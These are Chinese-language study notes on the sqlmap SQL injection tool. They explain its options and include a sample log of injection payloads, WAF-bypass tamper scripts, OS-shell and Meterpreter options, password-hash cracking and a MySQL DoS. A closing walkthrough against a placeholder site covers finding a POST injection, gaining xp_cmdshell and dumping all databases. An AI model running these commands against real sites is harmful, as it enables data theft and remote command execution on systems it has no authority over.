SQLmap学习稿
(感谢羽翼的教程和乌云@瞌睡龙的用户手册以及一个简易教程)
Kali和BT5中是有区别的,Kali中不需要使用./sqlmap.py来调用程序,BT5中必须要指定这样一个位置。
1、用-u来指定一个可以注入的URL
判断能否进行注入后,用--tables来猜解表名,在过程中自己指定猜解的线程数量,最大为10,然后等待SQLmap自动跑猜解就好了。
用--conclumns来猜解字段,用-T来指定要猜解字段的表名
用--dump来猜解内容,用-C来指定猜解的字段名,用””将字段名来括起来,多个字段名用逗号隔开。
Mysql数据库可以使用--dbs来获取总共的数据库
得到数据库之后,用-D来指定一个要猜解的数据库
2、Cookies注入:
将注入点拆解为-u “.asp”--cookie “id=9”--table
3、Post登录框注入:
先用BS抓个包,然后存成txt文件,用-r指定这个文件,再用-p tfUPass(提交的name)
自动搜索表单-u “.asp”--forms
指定提交参数-u “.asp”--data “tfname=1&tfpass=1”
4、交互式Shell
-u “.php?id=1”--os-cmd=ipconfig(--os-shell)
5、伪静态注入
-u .php/index/view/id/40*.html-dbs
*是自己加入的,
6、请求延时
-delay --safe-freq
7、Google批量注入
-g inurl:php?id=1
8、MySQL的DOS攻击
--sql-shell可以获取一个shell
然后输入DOS攻击的语句,就可以令数据库停止运行
9、绕过WAF防火墙
--dbs --batch --tamper “.py”
.py是用来编码的一个脚本
playload可以看出加密的方式是不同
--privilege来指定查看权限
10、五种注入模式
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。
11、SQL测试的过程
提供一个简单的URL,Burp或WebScarab请求日志文件,文本文档中的完整http请求或者Google的搜索,匹配出结果页面,也可以自己定义一个正则来判断那个地址去测试。
测试GET参数,POST参数,HTTP Cookie参数,HTTP User-Agent头和HTTP Referer头来确认是否有SQL注入,它也可以指定用逗号分隔的列表的具体参数来测试。
12、查看自动化过程
使用-v参数,共有七个等级,默认为1级
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。
13、目标URL
参数:-u
http(s)://targeturl[:port]/[…]
14、从Burp或WebScarab代理中获取日志
参数:-l
可以直接把Burp proxy或者WebScarab proxy中的日志直接倒出来交给sqlmap来一个一个检测是否有注入
15、从文本中获得多个目标
参数:-m
16、从文件中加载HTTP请求
参数:-r
sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)
17、POST参数
参数:--data
此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数
18、参数拆分字符
参数:--param-del
当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数
19、HTTP Cookie头
参数:--cookie,--load-cookies,--drop-set-cookie
这个参数在以下两个方面很有用:
1、web应用需要登陆的时候。
2、你想要在这些头参数中测试SQL注入时。
可以通过抓包把cookie获取到,复制出来,然后加到--cookie参数里。
在HTTP请求中,遇到Set-Cookie的话,sqlmap会自动获取并且在以后的请求中加入,并且会尝试SQL注入。
如果你不想接受Set-Cookie可以使用--drop-set-cookie参数来拒接。
当你使用--cookie参数时,当返回一个Set-Cookie头的时候,sqlmap会询问你用哪个cookie来继续接下来的请求。当--level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数。
20、HTTP User-Agent头
参数:--user-agent,--random-agent
默认的请求头中User-Agent值是sqlmap/1.0-dev-xxxxxxx
可以使用--user-agent参数来修改,也可以使用--random-agnet参数来随机的从./txt/user-agents.txt中获取
21、HTTP Referer头
参数:--referer
sqlmap可以在请求中伪造HTTP中的referer,当--level参数设定为3或者3以上的时候会尝试对referer注入
22、HTTP(S)代理
参数:--proxy,--proxy-cred和--ignore-proxy
使用--proxy代理是格式为:http://url:port。
当HTTP(S)代理需要认证是可以使用--proxy-cred参数:username:password。
--ignore-proxy拒绝使用本地局域网的HTTP(S)代理
23、避免过多的错误请求被屏蔽
参数:--safe-url,--safe-freq
有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求,这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略,导致以后无法进行。
绕过这个策略有两种方式:
1、--safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。
2、--safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。
24、每次请求时执行Python代码
参数:--eval
在有些时候,需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用--eval参数在每次请求时根据所写python代码做完修改后请求。
例子:
pythonsqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b"--eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
上面的请求就是每次请求时根据id参数值,做一次md5后作为hash参数的值。
25、注入测试参数
参数:-p,--skip
sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTPReferer头的值。
当你使用--level的值很大但是有个别参数不想测试的时候可以使用--skip参数。
例如:--skip="user-angent.referer"
在有些时候web服务器使用了URL重写,导致无法直接使用sqlmap测试参数,可以在想测试的参数后面加*
例如:
pythonsqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"
sqlmap将会测试value1的位置是否可注入
26、修改注入的数据
参数:--tamper
sqlmap除了使用CHAR()函数来防止出现单引号之外没有对注入的数据修改,你可以使用--tamper参数对数据做修改来绕过WAF等设备。
下面是一个tamper脚本的格式:
#Needed imports
fromlib.core.enums import PRIORITY
#Define which is the order of application of tamper scripts against
#the payload
__priority__= PRIORITY.NORMAL
deftamper(payload):
'''
Description of your tamper script
'''
retVal = payload
# your code to tamper the original payload
# return the tampered payload
return retVal
可以查看 tamper/ 目录下的有哪些可用的脚本
例如:
$python sqlmap.py -u"http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
[hh:mm:03][DEBUG] cleaning up configuration parameters
[hh:mm:03][INFO] loading tamper script 'between'
[hh:mm:03][INFO] loading tamper script 'randomcase'
[hh:mm:03][INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04][INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04][PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04][PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04][PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04][INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[hh:mm:04][PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar(
58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/
ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/
group/**/bY/**/x)a)
[hh:mm:04][INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING
clause'injectable
[...]
27、注入等级
参数:--level
一共有五个等级,默认为一
28、风险等级
参数:--risk
一共有四个等级,默认为一会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试
29、页面比较
参数:--string,--not-string,--regexp,--code
默认情况下sqlmap通过判断返回页面的不同来判断真假,但有时候这会产生误差,因为有的页面在每次刷新的时候都会返回不同的代码,比如页面当中包含一个动态的广告或者其他内容,这会导致sqlmap的误判。此时用户可以提供一个字符串或者一段正则匹配,在原始页面与真条件下的页面都存在的字符串,而错误页面中不存在(使用--string参数添加字符串,--regexp添加正则),同时用户可以提供一段字符串在原始页面与真条件下的页面都不存在的字符串,而错误页面中存在的字符串(--not-string添加)。用户也可以提供真与假条件返回的HTTP状态码不一样来注入,例如,响应200的时候为真,响应401的时候为假,可以添加参数--code=200。
参数:--text-only,--titles
有些时候用户知道真条件下的返回页面与假条件下返回页面是不同位置在哪里可以使用--text-only(HTTP响应体中不同)--titles(HTML的title标签中不同)
30、测试注入可能
参数:--technique
这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式。
支持的探测方式如下:
B:Boolean-based blind SQL injection(布尔型注入)
E:Error-based SQL injection(报错型注入)
U:UNION query SQL injection(可联合查询注入)
S:Stacked queries SQL injection(可多语句查询注入)
T:Time-based blind SQL injection(基于时间延迟注入)
31、设定延迟注入的时间
参数:--time-sec
当使用继续时间的盲注时,时刻使用--time-sec参数设定延时时间,默认是5秒。
32、设定UNION查询字段数
参数:--union-cols
默认情况下sqlmap测试UNION查询注入会测试1-10个字段数,当--level为5的时候他会增加测试到50个字段数。设定--union-cols的值应该是一段整数,如:12-16,是测试12-16个字段数。
33、设定UNION查询使用的字符
参数:--union-char
默认情况下sqlmap针对UNION查询的注入会使用NULL字符,但是有些情况下会造成页面返回失败,而一个随机整数是成功的,这是你可以用--union-char只定UNION查询的字符。
34、二阶SQL注入
参数:--second-order
有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假。--second-order后面跟一个判断页面的URL地址。
35、标志
参数:-b,--banner
大多数的数据库系统都有一个函数可以返回数据库的版本号,通常这个函数是version()或者变量@@version这主要取决与是什么数据库。
36、用户
参数:-current-user
在大多数据库中可以获取到管理数据的用户。
37、当前数据库
参数:--current-db
返还当前连接的数据库。
38、当前用户是否为管理用
参数:--is-dba
判断当前的用户是否为管理,是的话会返回True。
39、列数据库管理用户
参数:--users
当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。
40、列出并破解数据库用户的hash
参数:--passwords
当前用户有权限读取包含用户密码的表的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。
41、列出数据库管理员角色
参数:--roles
当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的角色,也可以用-U参数指定你想看哪个用户的角色。
仅适用于当前数据库是Oracle的时候。
42、列出数据库系统的数据库
参数:--dbs
当前用户有权限读取包含所有数据库列表信息的表中的时候,即可列出所有的数据库。
43、列举数据库表
参数:--tables,--exclude-sysdbs,-D
当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出一个特定数据的所有表。
如果你不提供-D参数来列指定的一个数据的时候,sqlmap会列出数据库所有库的所有表。
--exclude-sysdbs参数是指包含了所有的系统数据库。
需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是数据库名称。
44、列举数据库系统的架构
参数:--schema,--exclude-sysdbs
用户可以用此参数获取数据库的架构,包含所有的数据库,表和字段,以及各自的类型。
加上--exclude-sysdbs参数,将不会获取数据库自带的系统库内容。
45、获取所有数据库表的内容
参数:--dump-all,--exclude-sysdbs
使用--dump-all参数获取所有数据库表的内容,可同时加上--exclude-sysdbs只获取用户数据库的表,需要注意在Microsoft SQL Server中master数据库没有考虑成为一个系统数据库,因为有的管理员会把他当初用户数据库一样来使用它
46、运行自定义的SQL语句
参数:--sql-query,--sql-shell
sqlmap会自动检测确定使用哪种SQL注入技术,如何插入检索语句。
如果是SELECT查询语句,sqlap将会输出结果。如果是通过SQL注入执行其他语句,需要测试是否支持多语句执行SQL语句
47、暴力破解表名
参数:--common-tables
当使用--tables无法获取到数据库的表时,可以使用此参数。
通常是如下情况:
1、MySQL数据库版本小于5.0,没有information_schema表。
2、数据库是MicrossoftAccess,系统表MSysObjects是不可读的(默认)。
3、当前用户没有权限读取系统中保存数据结构的表的权限。
暴力破解的表在txt/common-tables.txt文件中,你可以自己添加
48、暴力破解列名
参数:--common-columns
与暴力破解表名一样,暴力跑的列名在txt/common-columns.txt中
49、把文件上传到数据库服务器中
参数:--file-write,--file-dest
当数据库为MySQL,PostgreSQL或MicrosoftSQL Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件
50、Meterpreter配合使用
参数:--os-pwn,--os-smbrelay,--os-bof,--priv-esc,--msf-path,--tmp-path
当数据库为MySQL,PostgreSQL或MicrosoftSQL Server,并且当前用户有权限使用特定的函数,可以在数据库与攻击者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap根据Metasploit生成shellcode,并有四种方式执行它:
1、通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:--os-pwn。
2、通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:--os-pwn。
3、通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),--os-smbrelay。
4、通过溢出MicrosoftSQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:--os-bof
51、其余一些命令
需要绕过WAF–tamper=”"
注入被识别出来是工具,断开咋办–user-agent=”"
让sqlmap自动跑post注入
sqlmap-u “http://www.xxx.com/login.asp”–forms
成功的帮我跑了post注入,并且找到了post的注入点jjj=123
sqlmap-u “http://www.xxx.com/login.asp”–forms -p jjj –dbs
于是我用上面的命令看看数据库
sqlmap-u “http://www.xxx.com/login.asp”–forms -p jjj –is-dba
顺便看看当前用户是不是dba
sqlmap-u “http://www.xxx.com/login.asp”–forms -p jjj -a
还跑出来了数据库名称kkk
sqlmap-u “http://www.xxx.com/login.asp”–forms -p jjj -D kkk –tables
同时我找到了网站路径,然后执行系统命令类xpcmdshell –os-shell
与此同时,我发现tables里面没有我想要的东西,把所有的数据库内容跑出来自己找,于是:
sqlmap-u “http://www.xxx.com/login.asp”–forms -p jjj -D kkk –dump-all
–batch可以自动选择sqlmap默认选项